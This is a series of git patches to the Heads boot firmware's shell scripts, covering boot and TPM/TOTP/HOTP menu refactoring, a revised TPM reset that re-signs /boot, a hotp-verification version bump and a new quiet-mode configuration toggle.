case "$option" in - d ) - attempt_default_boot - ;; - r ) - update_totp && update_hotp - ;; - o ) - show_options_menu - ;; - s ) - show_system_info - ;; - p ) - poweroff - ;; - esac +show_main_menu() { + TRACE_FUNC + date=$(date "+%Y-%m-%d %H:%M:%S %Z") + whiptail_type $BG_COLOR_MAIN_MENU --title "$MAIN_MENU_TITLE" \ + --menu "$date\nTOTP: $TOTP | HOTP: $HOTP" 0 80 10 \ + 'd' ' Default boot' \ + 'r' ' Refresh TOTP/HOTP' \ + 'o' ' Options -->' \ + 's' ' System Info' \ + 'p' ' Power Off' \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + option=$(cat /tmp/whiptail) + case "$option" in + d) + attempt_default_boot + ;; + r) + update_totp && update_hotp + ;; + o) + show_options_menu + ;; + s) + show_system_info + ;; + p) + poweroff + ;; + esac } -show_options_menu() -{ - TRACE_FUNC - whiptail_type $BG_COLOR_MAIN_MENU --title "$CONFIG_BRAND_NAME Options" \ - --menu "" 0 80 10 \ - 'b' ' Boot Options -->' \ - 't' ' TPM/TOTP/HOTP Options -->' \ - 'h' ' Change system time' \ - 'u' ' Update checksums and sign all files in /boot' \ - 'c' ' Change configuration settings -->' \ - 'f' ' Flash/Update the BIOS -->' \ - 'g' ' GPG Options -->' \ - 'F' ' OEM Factory Reset / Re-Ownership -->' \ - 'C' ' Reencrypt LUKS container -->' \ - 'P' ' Change LUKS Disk Recovery Key passphrase ->' \ - 'R' ' Check/Update file hashes on root disk -->' \ - 'x' ' Exit to recovery shell' \ - 'r' ' <-- Return to main menu' \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - option=$(cat /tmp/whiptail) - case "$option" in - b ) - show_boot_options_menu - ;; - t ) - show_tpm_totp_hotp_options_menu - ;; - h ) - change-time.sh - ;; - u ) - prompt_update_checksums - ;; - c ) - config-gui.sh - ;; - f ) - flash-gui.sh - ;; - g ) - gpg-gui.sh - ;; - F ) - oem-factory-reset - ;; - C ) - luks_reencrypt - luks_secrets_cleanup - ;; - P ) - luks_change_passphrase - luks_secrets_cleanup - ;; - R ) - root-hashes-gui.sh - ;; - x ) - recovery "User requested recovery shell" - ;; - r ) - ;; - esac +show_options_menu() { + TRACE_FUNC + whiptail_type $BG_COLOR_MAIN_MENU --title "$CONFIG_BRAND_NAME Options" \ + --menu "" 0 80 10 \ + 'b' ' Boot Options -->' \ + 't' ' TPM/TOTP/HOTP Options -->' \ + 'h' ' Change system time' \ + 'u' ' Update checksums and sign all files in /boot' \ + 'c' ' Change configuration settings -->' \ + 'f' ' Flash/Update the BIOS -->' \ + 'g' ' GPG Options -->' \ + 'F' ' OEM Factory Reset / Re-Ownership -->' \ + 'C' ' Reencrypt LUKS container -->' \ + 'P' ' Change LUKS Disk Recovery Key passphrase ->' \ + 'R' ' Check/Update file hashes on root disk -->' \ + 'x' ' Exit to recovery shell' \ + 'r' ' <-- Return to main menu' \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + option=$(cat /tmp/whiptail) + case "$option" in + b) + show_boot_options_menu + ;; + t) + show_tpm_totp_hotp_options_menu + ;; + h) + change-time.sh + ;; + u) + prompt_update_checksums + ;; + c) + config-gui.sh + ;; + f) + flash-gui.sh + ;; + g) + gpg-gui.sh + ;; + F) + oem-factory-reset + ;; + C) + luks_reencrypt + luks_secrets_cleanup + ;; + P) + luks_change_passphrase + luks_secrets_cleanup + ;; + R) + root-hashes-gui.sh + ;; + x) + recovery "User requested recovery shell" + ;; + r) ;; + esac } -show_boot_options_menu() -{ - TRACE_FUNC - whiptail_type $BG_COLOR_MAIN_MENU --title "Boot Options" \ - --menu "Select A Boot Option" 0 80 10 \ - 'm' ' Show OS boot menu' \ - 'u' ' USB boot' \ - 'i' ' Ignore tampering and force a boot (Unsafe!)' \ - 'r' ' <-- Return to main menu' \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - option=$(cat /tmp/whiptail) - case "$option" in - m ) - # select a kernel from the menu - select_os_boot_option - ;; - u ) - exec /bin/usb-init - ;; - i ) - force_unsafe_boot - ;; - r ) - ;; - esac +show_boot_options_menu() { + TRACE_FUNC + whiptail_type $BG_COLOR_MAIN_MENU --title "Boot Options" \ + --menu "Select A Boot Option" 0 80 10 \ + 'm' ' Show OS boot menu' \ + 'u' ' USB boot' \ + 'i' ' Ignore tampering and force a boot (Unsafe!)' \ + 'r' ' <-- Return to main menu' \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + option=$(cat /tmp/whiptail) + case "$option" in + m) + # select a kernel from the menu + select_os_boot_option + ;; + u) + exec /bin/usb-init + ;; + i) + force_unsafe_boot + ;; + r) ;; + esac } -show_tpm_totp_hotp_options_menu() -{ - TRACE_FUNC - whiptail_type $BG_COLOR_MAIN_MENU --title "TPM/TOTP/HOTP Options" \ - --menu "Select An Option" 0 80 10 \ - 'g' ' Generate new TOTP/HOTP secret' \ - 'r' ' Reset the TPM' \ - 't' ' TOTP/HOTP does not match after refresh, troubleshoot' \ - 'm' ' <-- Return to main menu' \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - option=$(cat /tmp/whiptail) - case "$option" in - g ) - generate_totp_hotp && reseal_tpm_disk_decryption_key - ;; - r ) - reset_tpm && reseal_tpm_disk_decryption_key - ;; - t ) - prompt_totp_mismatch - ;; - m ) - ;; - esac +show_tpm_totp_hotp_options_menu() { + TRACE_FUNC + whiptail_type $BG_COLOR_MAIN_MENU --title "TPM/TOTP/HOTP Options" \ + --menu "Select An Option" 0 80 10 \ + 'g' ' Generate new TOTP/HOTP secret' \ + 'r' ' Reset the TPM' \ + 't' ' TOTP/HOTP does not match after refresh, troubleshoot' \ + 'm' ' <-- Return to main menu' \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + option=$(cat /tmp/whiptail) + case "$option" in + g) + generate_totp_hotp && reseal_tpm_disk_decryption_key + ;; + r) + reset_tpm && reseal_tpm_disk_decryption_key + ;; + t) + prompt_totp_mismatch + ;; + m) ;; + esac } -prompt_totp_mismatch() -{ - TRACE_FUNC - if (whiptail_warning --title "TOTP/HOTP code mismatched" \ - --yesno "TOTP/HOTP code mismatches could indicate TPM tampering or clock drift.\n\nThe current UTC time is: $(date "+%Y-%m-%d %H:%M:%S")\nIf this is incorrect, set the correct time and check TOTP/HOTP again.\n\nDo you want to change the time?" 0 80) then - change-time.sh - fi +prompt_totp_mismatch() { + TRACE_FUNC + if (whiptail_warning --title "TOTP/HOTP code mismatched" \ + --yesno "TOTP/HOTP code mismatches could indicate TPM tampering or clock drift.\n\nThe current UTC time is: $(date "+%Y-%m-%d %H:%M:%S")\nIf this is incorrect, set the correct time and check TOTP/HOTP again.\n\nDo you want to change the time?" 0 80); then + change-time.sh + fi } -reset_tpm() -{ - TRACE_FUNC - if [ "$CONFIG_TPM" = "y" ]; then - if (whiptail_warning --title 'Reset the TPM' \ - --yesno "This will clear the TPM and replace its Owner password with a new one!\n\nDo you want to proceed?" 0 80) then - - if ! prompt_new_owner_password; then - echo "Press Enter to return to the menu..." - read - echo - return 1 - fi - - tpmr reset "$tpm_owner_password" - - # now that the TPM is reset, remove invalid TPM counter files - mount_boot - mount -o rw,remount /boot - LOG "Removing rollback and primary handle hash under /boot" - rm -f /boot/kexec_rollback.txt - rm -f /boot/kexec_primhdl_hash.txt - - # create Heads TPM counter before any others - check_tpm_counter /boot/kexec_rollback.txt "" "$tpm_owner_password" \ - || die "Unable to find/create tpm counter" - counter="$TPM_COUNTER" - - increment_tpm_counter $counter > /dev/null 2>&1 \ - || die "Unable to increment tpm counter" - - sha256sum /tmp/counter-$counter > /boot/kexec_rollback.txt \ - || die "Unable to create rollback file" - - warn "boot content has been modified, please update the checksums and sign the files from Options -> Update checksums and sign all files in /boot" - mount -o ro,remount /boot - - generate_totp_hotp "$tpm_owner_password" - else - echo "Returning to the main menu" - fi - else - whiptail_error --title 'ERROR: No TPM Detected' --msgbox "This device does not have a TPM.\n\nPress OK to return to the Main Menu" 0 80 - fi +reset_tpm() { + TRACE_FUNC + if [ "$CONFIG_TPM" = "y" ]; then + if (whiptail_warning --title 'Reset the TPM' \ + --yesno "This will clear the TPM and replace its Owner password with a new one!\n\nDo you want to proceed?" 0 80); then + + if ! prompt_new_owner_password; then + echo "Press Enter to return to the menu..." + read + echo + return 1 + fi + + tpmr reset "$tpm_owner_password" + + # now that the TPM is reset, remove invalid TPM counter files + mount_boot + mount -o rw,remount /boot + #TODO: this is really problematic, we should really remove the primary handle hash + + LOG "Removing rollback and primary handle hash under /boot" + rm -f /boot/kexec_rollback.txt + rm -f /boot/kexec_primhdl_hash.txt + + # create Heads TPM counter before any others + check_tpm_counter /boot/kexec_rollback.txt "" "$tpm_owner_password" || + die "Unable to find/create tpm counter" + counter="$TPM_COUNTER" + + increment_tpm_counter $counter >/dev/null 2>&1 || + die "Unable to increment tpm counter" + + sha256sum /tmp/counter-$counter >/boot/kexec_rollback.txt || + die "Unable to create rollback file" + + # As a countermeasure for existing primary handle hash, we will now force sign /boot without it + if (whiptail --title 'TPM Reset Successfully' \ + --yesno "Would you like to update the checksums and sign all of the files in /boot?\n\nYou will need your GPG key to continue and this will modify your disk.\n\nOtherwise the system will reboot immediately." 0 80); then + if ! update_checksums; then + whiptail_error --title 'ERROR' \ + --msgbox "Failed to update checksums / sign default config" 0 80 + fi + else + die "TPM reset successful, but user chose not to update checksums" + fi + mount -o ro,remount /boot + + generate_totp_hotp "$tpm_owner_password" + else + echo "Returning to the main menu" + fi + else + whiptail_error --title 'ERROR: No TPM Detected' --msgbox "This device does not have a TPM.\n\nPress OK to return to the Main Menu" 0 80 + fi } -select_os_boot_option() -{ - TRACE_FUNC - mount_boot - if verify_global_hashes ; then - kexec-select-boot -m -b /boot -c "grub.cfg" -g - fi +select_os_boot_option() { + TRACE_FUNC + mount_boot + if verify_global_hashes; then + kexec-select-boot -m -b /boot -c "grub.cfg" -g + fi } -attempt_default_boot() -{ - TRACE_FUNC - mount_boot - - if ! verify_global_hashes; then - return - fi - DEFAULT_FILE=`find /boot/kexec_default.*.txt 2>/dev/null | head -1` - if [ -r "$DEFAULT_FILE" ]; then - kexec-select-boot -b /boot -c "grub.cfg" -g \ - || recovery "Failed default boot" - elif (whiptail_warning --title 'No Default Boot Option Configured' \ - --yesno "There is no default boot option configured yet.\nWould you like to load a menu of boot options?\nOtherwise you will return to the main menu." 0 80) then - kexec-select-boot -m -b /boot -c "grub.cfg" -g - fi +attempt_default_boot() { + TRACE_FUNC + mount_boot + + if ! verify_global_hashes; then + return + fi + DEFAULT_FILE=$(find /boot/kexec_default.*.txt 2>/dev/null | head -1) + if [ -r "$DEFAULT_FILE" ]; then + kexec-select-boot -b /boot -c "grub.cfg" -g || + recovery "Failed default boot" + elif (whiptail_warning --title 'No Default Boot Option Configured' \ + --yesno "There is no default boot option configured yet.\nWould you like to load a menu of boot options?\nOtherwise you will return to the main menu." 0 80); then + kexec-select-boot -m -b /boot -c "grub.cfg" -g + fi } -force_unsafe_boot() -{ - TRACE_FUNC - if [ "$CONFIG_RESTRICTED_BOOT" = y ]; then - whiptail_error --title 'ERROR: Restricted Boot Enabled' --msgbox "Restricted Boot is Enabled, forced boot not allowed.\n\nPress OK to return to the Main Menu" 0 80 - return - fi - # Run the menu selection in "force" mode, bypassing hash checks - if (whiptail_warning --title 'Unsafe Forced Boot Selected!' \ - --yesno "WARNING: You have chosen to skip all tamper checks and boot anyway.\n\nThis is an unsafe option!\n\nDo you want to proceed?" 0 80) then - mount_boot && kexec-select-boot -m -b /boot -c "grub.cfg" -g -f - fi +force_unsafe_boot() { + TRACE_FUNC + if [ "$CONFIG_RESTRICTED_BOOT" = y ]; then + whiptail_error --title 'ERROR: Restricted Boot Enabled' --msgbox "Restricted Boot is Enabled, forced boot not allowed.\n\nPress OK to return to the Main Menu" 0 80 + return + fi + # Run the menu selection in "force" mode, bypassing hash checks + if (whiptail_warning --title 'Unsafe Forced Boot Selected!' \ + --yesno "WARNING: You have chosen to skip all tamper checks and boot anyway.\n\nThis is an unsafe option!\n\nDo you want to proceed?" 0 80); then + mount_boot && kexec-select-boot -m -b /boot -c "grub.cfg" -g -f + fi } # gui-init start @@ -650,16 +638,16 @@ else fi if [ -x /bin/hotp_verification ]; then - enable_usb + enable_usb fi -if detect_boot_device ; then - # /boot device with installed OS found - clean_boot_check +if detect_boot_device; then + # /boot device with installed OS found + clean_boot_check else - # can't determine /boot device or no OS installed, - # so fall back to interactive selection - mount_boot + # can't determine /boot device or no OS installed, + # so fall back to interactive selection + mount_boot fi # detect whether any GPG keys exist in the keyring, if not, initialize that first @@ -670,13 +658,13 @@ update_totp update_hotp if [ "$HOTP" = "Success" -a -n "$CONFIG_AUTO_BOOT_TIMEOUT" ]; then - prompt_auto_default_boot + prompt_auto_default_boot fi while true; do - TRACE_FUNC - skip_to_menu="false" - show_main_menu + TRACE_FUNC + skip_to_menu="false" + show_main_menu done recovery "Something failed during boot" diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 60215506b..7a45c9f8c 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -115,15 +115,18 @@ verify_global_hashes() { verify_rollback_counter() { TRACE_FUNC TPM_COUNTER=$(grep counter $TMP_ROLLBACK_FILE | cut -d- -f2) + + DEBUG "TPM_COUNTER: $TPM_COUNTER found in $TMP_ROLLBACK_FILE" + if [ -z "$TPM_COUNTER" ]; then die "$TMP_ROLLBACK_FILE: TPM counter not found?" fi - read_tpm_counter $TPM_COUNTER > /dev/null 2>&1 || + read_tpm_counter $TPM_COUNTER >/dev/null 2>&1 || die "Failed to read TPM counter" sha256sum -c $TMP_ROLLBACK_FILE || - die "Invalid TPM counter state" + die "Invalid TPM counter state. TPM Reset required" valid_rollback="y" } @@ -268,7 +271,7 @@ default_select() { if [ "$CONFIG_BASIC" != "y" ]; then # Enforce that default option hashes are valid - echo "+++ Checking verified default boot hash file " + LOG "+++ Checking verified default boot hash file " # Check the hashes of all the files if (cd $bootdir && sha256sum -c "$TMP_DEFAULT_HASH_FILE" >/tmp/hash_output); then echo "+++ Verified default boot hashes " diff --git a/initrd/bin/kexec-sign-config b/initrd/bin/kexec-sign-config index d0d66c69e..52e6add6d 100755 --- a/initrd/bin/kexec-sign-config +++ b/initrd/bin/kexec-sign-config @@ -10,10 +10,13 @@ rollback="n" update="n" while getopts "p:c:ur" arg; do case $arg in - p) paramsdir="$OPTARG" ;; - c) counter="$OPTARG"; rollback="y" ;; - u) update="y" ;; - r) rollback="y" ;; + p) paramsdir="$OPTARG" ;; + c) + counter="$OPTARG" + rollback="y" + ;; + u) update="y" ;; + r) rollback="y" ;; esac done @@ -34,14 +37,14 @@ mount -o remount,rw /boot if [ "$update" = "y" ]; then ( cd /boot - find ./ -type f ! -path './kexec*' -print0 | xargs -0 sha256sum > /boot/kexec_hashes.txt + find ./ -type f ! -path './kexec*' -print0 | xargs -0 sha256sum >/boot/kexec_hashes.txt if [ -e /boot/kexec_default_hashes.txt ]; then DEFAULT_FILES=$(cat /boot/kexec_default_hashes.txt | cut -f3 -d ' ') - echo $DEFAULT_FILES | xargs sha256sum > /boot/kexec_default_hashes.txt + echo $DEFAULT_FILES | xargs sha256sum >/boot/kexec_default_hashes.txt fi #also save the file & directory structure to detect added files - print_tree > /boot/kexec_tree.txt + print_tree >/boot/kexec_tree.txt ) [ $? -eq 0 ] || die "$paramsdir: Failed to update hashes." @@ -55,23 +58,23 @@ if [ "$rollback" = "y" ]; then if [ -n "$counter" ]; then # use existing counter - read_tpm_counter $counter \ - || die "$paramsdir: Unable to read tpm counter '$counter'" + read_tpm_counter $counter >/dev/null 2>&1 || + die "$paramsdir: Unable to read tpm counter '$counter'" else # increment counter - check_tpm_counter $rollback_file \ - || die "$paramsdir: Unable to find/create tpm counter" + check_tpm_counter $rollback_file >/dev/null 2>&1 || + die "$paramsdir: Unable to find/create tpm counter" counter="$TPM_COUNTER" - increment_tpm_counter $counter \ - || die "$paramsdir: Unable to increment tpm counter" + increment_tpm_counter $counter >/dev/null 2>&1 || + die "$paramsdir: Unable to increment tpm counter" fi - sha256sum /tmp/counter-$counter > $rollback_file \ - || die "$paramsdir: Unable to create rollback file" + sha256sum /tmp/counter-$counter >$rollback_file || + die "$paramsdir: Unable to create rollback file" fi -param_files=`find $paramsdir/kexec*.txt` +param_files=$(find $paramsdir/kexec*.txt) if [ -z "$param_files" ]; then die "$paramsdir: No kexec parameter files to sign" fi @@ -80,8 +83,8 @@ for tries in 1 2 3; do if sha256sum $param_files | gpg \ --detach-sign \ -a \ - > $paramsdir/kexec.sig \ - ; then + >$paramsdir/kexec.sig \ + ; then # successful - update the validated params check_config $paramsdir diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 58ab1e599..b4e33e6c0 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -547,7 +547,7 @@ gpg_key_factory_reset() { #enable usb storage enable_usb - + # Factory reset GPG card echo "GPG factory reset of USB Security dongle's OpenPGP smartcard..." { diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 9c01d5d60..7600d03fd 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -65,6 +65,10 @@ mount_boot || exit 1 counter_value=1 enable_usb + +# Make sure no conflicting GPG related services are running, gpg-agent will respawn +killall gpg-agent scdaemon >/dev/null 2>&1 + # While making sure the key is inserted, capture the status so we can check how # many PIN attempts remain if ! hotp_token_info="$(hotp_verification info)"; then @@ -162,8 +166,8 @@ if [ "$admin_pin_status" -ne 0 ]; then fi else # remind user to change admin password - warn "Weak OEM default PINs are under use to enforce remote attestation/encryption/signature operations" - warn "$CONFIG_BRAND_NAME security is compromised until the ownership of this device is re-established by changing secrets by non-default values" + warn "Weak OEM default PINs are under use to enforce remote attestation/encryption/signature operations" + warn "$CONFIG_BRAND_NAME security is compromised until the ownership of this device is re-established by changing secrets by non-default values" warn "You must change current default secrets through 'Options -> OEM Factory Reset/Re-Ownership' menu and not accept the default options" warn "You will be asked to answer a questionnaire to re-own your device and USB security dongles with new secrets" fi diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 7dbe50432..14e595fc1 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -651,7 +651,7 @@ tpm1_unseal() { -sz "$sealed_size" \ -of "$sealed_file" || die "Unable to read sealed file from TPM NVRAM" - # TODO: Cannot log + exit instead of dying!?! + # TODO: Cannot log + exit instead of dying!?! PASS_ARGS=() if [ "$pass" ]; then diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index c55ae7516..e60c58465 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -75,6 +75,13 @@ preserve_rom() { } confirm_gpg_card() { + + #TODO: ideally, we ask for confirmation only once per boot session + #TODO: even change logic here to try first and then ask user to confirm if not found + #TODO: or ask GPG user PIN once and cache it for the rest of the boot session for reusal + # This is getting in the way of unattended stuff and GPG prompts are confusing anyway, hide them from user. + + TRACE "Under /etc/ash_functions:confirm_gpg_card" #Skip prompts if we are currently using a known GPG key material Thumb drive backup and keys are unlocked pinentry #TODO: probably export CONFIG_GPG_KEY_BACKUP_IN_USE but not under /etc/user.config? From a54a4b8afabe21cd56eb985e39c2e272681b8a0e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 13 Dec 2024 17:20:52 -0500 Subject: [PATCH 426/619] hot-verification: bump to 1.7+ unrelease patchset https://github.com/Nitrokey/nitrokey-hotp-verification/pull/51 I give up trying to make Nitrokey do the right thing. They will propose PR to Heads next to fix their own fixes for their own caused regressions and security vulns. I just stopped caring for sanity reasons, i'm making quiet+eom/user-reownership fixes for feature freeze. If nitrokey pays, there is gonna be future collaboration, if they don't, they will do Heads related stuff themselves. Signed-off-by: Thierry Laurion --- modules/hotp-verification | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/hotp-verification b/modules/hotp-verification index d9511d2a8..032c80903 100644 --- a/modules/hotp-verification +++ b/modules/hotp-verification @@ -2,12 +2,12 @@ modules-$(CONFIG_HOTPKEY) += hotp-verification hotp-verification_depends := libusb $(musl_dep) -# v1.7 -hotp-verification_version := e6cf719d67a811356eecff69769fa1dbce47f953 +# v1.7 + non-released stuff under 1.7 version bump (Nitrokey will do PR to change this in the future and also fixes to Heads related to regression fixes under Heads) +hotp-verification_version := f4583b701a354dfa50c690075a568bc5cdf160e1 hotp-verification_dir := hotp-verification-$(hotp-verification_version) hotp-verification_tar := nitrokey-hotp-verification-$(hotp-verification_version).tar.gz hotp-verification_url := https://github.com/Nitrokey/nitrokey-hotp-verification/archive/$(hotp-verification_version).tar.gz -hotp-verification_hash := 3c8b44e4d9a1f7454269f76102f32de6ed9de19ab0cf7119747eb97377c66a84 +hotp-verification_hash := 42efeba9a61e4a00df55bf5337c157948bc76c895410fc76d02b87d6cd3b38eb hotp-verification_target := \ $(MAKE_JOBS) \ From 4354cd4c229aa7b15d1c56f91aacee5679e13692 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 15 Dec 2024 20:41:08 -0500 Subject: [PATCH 427/619] config-gui.sh: Add quiet mode toggle, which turns off debug+tracing if enabled, and where enabling debug+tracing disables Quiet mode Signed-off-by: Thierry Laurion --- initrd/bin/config-gui.sh | 1088 +++++++++++++++++++------------------- 1 file changed, 558 insertions(+), 530 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index b09860ea6..f3299d1aa 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -13,329 +13,334 @@ param=$1 # Read the current ROM; if it fails display an error and exit. read_rom() { - /bin/flash.sh -r "$1" - if [ ! -s "$1" ]; then - whiptail_error --title 'ERROR: BIOS Read Failed!' \ - --msgbox "Unable to read BIOS" 0 80 - exit 1 - fi + /bin/flash.sh -r "$1" + if [ ! -s "$1" ]; then + whiptail_error --title 'ERROR: BIOS Read Failed!' \ + --msgbox "Unable to read BIOS" 0 80 + exit 1 + fi } while true; do - if [ ! -z "$param" ]; then - # use first char from parameter - menu_choice=${param::1} - unset param - else - # Re-source config because we change it when an option is toggled - . /tmp/config - - dynamic_config_options=( - 'b' ' Change the /boot device' - ) - - # Options that don't apply to basic mode - [ "$CONFIG_BASIC" != "y" ] && dynamic_config_options+=( - 'r' ' Clear GPG key(s) and reset all user settings' - 'R' ' Change the root device for hashing' - 'D' ' Change the root directories to hash' - 'B' " $(get_config_display_action "$CONFIG_ROOT_CHECK_AT_BOOT") root check at boot" - 'L' " $(get_config_display_action "$CONFIG_RESTRICTED_BOOT") Restricted Boot" - ) - - # Basic itself is always available (though RB will refuse to enable it) - dynamic_config_options+=( - 'P' " $(get_config_display_action "$CONFIG_BASIC") $CONFIG_BRAND_NAME Basic Mode" - ) - - # Blob jail is only offered if this is a configuration with the blobs in - # firmware - [ "$CONFIG_SUPPORT_BLOB_JAIL" = "y" ] && dynamic_config_options+=( - 'J' " $(get_config_display_action "$CONFIG_USE_BLOB_JAIL") Firmware Blob Jail" - ) - - # Automatic boot - dynamic_config_options+=( - 'M' " Configure automatic boot" - ) - - # Basic-only options for automatic boot - [ "$CONFIG_BASIC" = "y" ] && dynamic_config_options+=( - 'A' " $(get_inverted_config_display_action "$CONFIG_BASIC_NO_AUTOMATIC_DEFAULT") automatic default boot option" - 'U' " $(get_config_display_action "$CONFIG_BASIC_USB_AUTOBOOT") USB automatic boot" - ) - - # Automatic power on - requires board support - [ "$CONFIG_SUPPORT_AUTOMATIC_POWERON" = "y" ] && dynamic_config_options+=( - 'N' " $(get_config_display_action "$CONFIG_AUTOMATIC_POWERON") automatic power-on" - ) - - # Boards with built-in keyboards can support optional USB keyboards as well. - # Boards that do not have a built-in keyboard/internal keyboard is USB connected export - # CONFIG_USB_KEYBOARD_REQUIRED=y; this hides the config option and ensures - # USB keyboard support always loads. - [ "$CONFIG_USB_KEYBOARD_REQUIRED" != y ] && dynamic_config_options+=( - 'K' " $(get_config_display_action "$CONFIG_USER_USB_KEYBOARD") USB keyboard" - ) - - # Debugging option always available - dynamic_config_options+=( - 'Z' " $(get_config_display_action "$CONFIG_DEBUG_OUTPUT") $CONFIG_BRAND_NAME debug and function tracing output" - ) - - [ "$CONFIG_FINALIZE_PLATFORM_LOCKING" = "y" ] && dynamic_config_options+=( - 't' ' Deactivate Platform Locking to permit OS write access to firmware' - ) - - dynamic_config_options+=( - 's' ' Save the current configuration to the running BIOS' \ - 'x' ' Return to Main Menu' - ) - - unset menu_choice - whiptail_type $BG_COLOR_MAIN_MENU --title "Config Management Menu" \ - --menu "This menu lets you change settings for the current BIOS session.\n\nAll changes will revert after a reboot,\n\nunless you also save them to the running BIOS." 0 80 10 \ - "${dynamic_config_options[@]}" \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - menu_choice=$(cat /tmp/whiptail) - fi - - case "$menu_choice" in - "t" ) - unset CONFIG_FINALIZE_PLATFORM_LOCKING - replace_config /etc/config.user "CONFIG_FINALIZE_PLATFORM_LOCKING" "n" - combine_configs - . /tmp/config - ;; - "x" ) - exit 0 - ;; - "b" ) - CURRENT_OPTION="$(load_config_value CONFIG_BOOT_DEV)" - if ! fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" > /tmp/disklist.txt ; then - whiptail_error --title 'ERROR: No bootable devices found' \ - --msgbox " $ERROR\n\n" 0 80 - exit 1 - fi - # filter out extraneous options - > /tmp/boot_device_list.txt - for i in `cat /tmp/disklist.txt`; do - # remove block device from list if numeric partitions exist, since not bootable - DEV_NUM_PARTITIONS=$((`ls -1 $i* | wc -l`-1)) - if [ ${DEV_NUM_PARTITIONS} -eq 0 ]; then - echo $i >> /tmp/boot_device_list.txt - else - ls $i* | tail -${DEV_NUM_PARTITIONS} >> /tmp/boot_device_list.txt - fi - done - file_selector "/tmp/boot_device_list.txt" \ - "Choose the default /boot device.\n\n${CURRENT_OPTION:+\n\nCurrently set to }$CURRENT_OPTION." \ - "Boot Device Selection" - if [ "$FILE" == "" ]; then - return - else - SELECTED_FILE=$FILE - fi - - # unmount /boot if needed - if grep -q /boot /proc/mounts ; then - umount /boot 2>/dev/null - fi - # mount newly selected /boot device - if ! mount -o ro $SELECTED_FILE /boot 2>/tmp/error ; then - ERROR=`cat /tmp/error` - whiptail_error --title 'ERROR: unable to mount /boot' \ - --msgbox " $ERROR\n\n" 0 80 - exit 1 - fi - - set_config /etc/config.user "CONFIG_BOOT_DEV" "$SELECTED_FILE" - combine_configs - - whiptail --title 'Config change successful' \ - --msgbox "The /boot device was successfully changed to $SELECTED_FILE" 0 80 - ;; - "s" ) - read_rom /tmp/config-gui.rom - - replace_rom_file /tmp/config-gui.rom "heads/initrd/etc/config.user" /etc/config.user - - if (whiptail --title 'Update ROM?' \ - --yesno "This will reflash your BIOS with the updated version\n\nDo you want to proceed?" 0 80) then - /bin/flash.sh /tmp/config-gui.rom - whiptail --title 'BIOS Updated Successfully' \ - --msgbox "BIOS updated successfully.\n\nIf your keys have changed, be sure to re-sign all files in /boot\nafter you reboot.\n\nPress Enter to reboot" 0 80 - /bin/reboot - else - exit 0 - fi - ;; - "r" ) - # prompt for confirmation - if (whiptail_warning --title 'Reset Configuration?' \ - --yesno "This will clear all GPG keys, clear boot signatures and checksums, + if [ ! -z "$param" ]; then + # use first char from parameter + menu_choice=${param::1} + unset param + else + # Re-source config because we change it when an option is toggled + . /tmp/config + + dynamic_config_options=( + 'b' ' Change the /boot device' + ) + + # Options that don't apply to basic mode + [ "$CONFIG_BASIC" != "y" ] && dynamic_config_options+=( + 'r' ' Clear GPG key(s) and reset all user settings' + 'R' ' Change the root device for hashing' + 'D' ' Change the root directories to hash' + 'B' " $(get_config_display_action "$CONFIG_ROOT_CHECK_AT_BOOT") root check at boot" + 'L' " $(get_config_display_action "$CONFIG_RESTRICTED_BOOT") Restricted Boot" + ) + + # Basic itself is always available (though RB will refuse to enable it) + dynamic_config_options+=( + 'P' " $(get_config_display_action "$CONFIG_BASIC") $CONFIG_BRAND_NAME Basic Mode" + ) + + # Blob jail is only offered if this is a configuration with the blobs in + # firmware + [ "$CONFIG_SUPPORT_BLOB_JAIL" = "y" ] && dynamic_config_options+=( + 'J' " $(get_config_display_action "$CONFIG_USE_BLOB_JAIL") Firmware Blob Jail" + ) + + # Automatic boot + dynamic_config_options+=( + 'M' " Configure automatic boot" + ) + + # Basic-only options for automatic boot + [ "$CONFIG_BASIC" = "y" ] && dynamic_config_options+=( + 'A' " $(get_inverted_config_display_action "$CONFIG_BASIC_NO_AUTOMATIC_DEFAULT") automatic default boot option" + 'U' " $(get_config_display_action "$CONFIG_BASIC_USB_AUTOBOOT") USB automatic boot" + ) + + # Automatic power on - requires board support + [ "$CONFIG_SUPPORT_AUTOMATIC_POWERON" = "y" ] && dynamic_config_options+=( + 'N' " $(get_config_display_action "$CONFIG_AUTOMATIC_POWERON") automatic power-on" + ) + + # Boards with built-in keyboards can support optional USB keyboards as well. + # Boards that do not have a built-in keyboard/internal keyboard is USB connected export + # CONFIG_USB_KEYBOARD_REQUIRED=y; this hides the config option and ensures + # USB keyboard support always loads. + [ "$CONFIG_USB_KEYBOARD_REQUIRED" != y ] && dynamic_config_options+=( + 'K' " $(get_config_display_action "$CONFIG_USER_USB_KEYBOARD") USB keyboard" + ) + + # Debugging option always available + dynamic_config_options+=( + 'Z' " $(get_config_display_action "$CONFIG_DEBUG_OUTPUT") $CONFIG_BRAND_NAME debug and function tracing output" + ) + + # Quiet option always available + dynamic_config_options+=( + 'Q' " $(get_config_display_action "$CONFIG_QUIET_MODE") $CONFIG_BRAND_NAME quiet mode" + ) 